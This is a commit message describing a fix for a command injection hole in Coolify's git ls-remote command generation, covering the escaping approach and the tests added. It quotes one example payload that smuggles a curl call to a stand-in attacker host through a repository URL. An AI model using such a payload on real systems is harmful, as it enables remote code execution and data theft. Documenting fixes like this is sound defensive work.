**Security Fix: Command Injection Vulnerability**
This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.
**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`
**Changes Made:**
1. **deploy_key deployment type** (Application.php:1111-1112):
- Added proper escaping for `$customRepository` in git ls-remote commands
- Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
- Wraps repository URL in single quotes to prevent interpretation of shell metacharacters
2. **source deployment type with GithubApp** (Application.php:1067-1086):
- Added `escapeshellarg()` for all repository URL variations
- Covers both public and private repositories
- Handles both Docker and non-Docker execution contexts
3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
- Tests for deploy_key type command injection prevention
- Tests for source type with public repos
- Tests for other type (already fixed in previous commit)
- Validates that malicious payloads are properly escaped
**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.
**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.
